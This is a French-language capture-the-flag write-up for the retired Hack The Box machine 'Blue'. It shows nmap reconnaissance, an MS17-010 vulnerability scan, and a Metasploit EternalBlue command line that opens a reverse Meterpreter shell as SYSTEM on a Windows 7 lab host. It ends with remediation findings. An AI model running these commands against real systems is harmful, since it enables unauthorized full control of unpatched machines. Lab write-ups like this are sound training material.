Windows Easy
Blue : EternalBlue (MS17-010), SYSTEM direct
Windows 7 non patché, vulnérable à MS17-010. EternalBlue donne un shell SYSTEM directement via SMBv1.
Box retirée par Hack The Box. Write-up publié dans le respect des règles de la plateforme, flags masqués.
TL;DR
- Un Windows 7 expose SMBv1.
- Le port 445 est vulnérable à MS17-010 (EternalBlue).
- L'exploit donne un shell SYSTEM directement, comme Legacy mais en MS17-010.
Reconnaissance
nmap -sVC -T4 10.129.43.11PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-dsWindows 7 avec SMB exposé : c'est le profil typique d'une cible EternalBlue.
Vulnérabilité
nmap --script smb-vuln-ms17-010 -p445 10.129.43.11Le script confirme l'état VULNERABLE pour MS17-010 (CVE-2017-0144). Comme pour Legacy, on valide la vuln SMB avec le script dédié avant d'exploiter.
Exploitation (foothold = SYSTEM direct)
EternalBlue vise une corruption mémoire dans SMBv1. Le service tourne en SYSTEM, donc l'exploit donne directement les droits maximaux, sans étape de privesc.
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 10.129.43.11; set LHOST tun0; run"Une session Meterpreter s'ouvre en tant que NT AUTHORITY\SYSTEM. Les flags user.txt et root.txt sont lisibles directement.
Findings
| # | Constat | Sévérité (CVSS v4) | Remédiation |
|---|---|---|---|
| F1 | MS17-010 non patché (CVE-2017-0144) | Critique | Appliquer le correctif MS17-010 |
| F2 | SMBv1 activé | Élevée | Désactiver SMBv1, n'autoriser que SMBv2/3 |
Leçons apprises
- Windows 7 / Server 2008 avec SMBv1 exposé et non patché est quasi systématiquement vulnérable à EternalBlue.
- Même logique que Legacy : l'exploit SMB donne SYSTEM d'un coup, pas de privesc à chercher.
- EternalBlue est instable : garder en tête le risque de crash de la cible.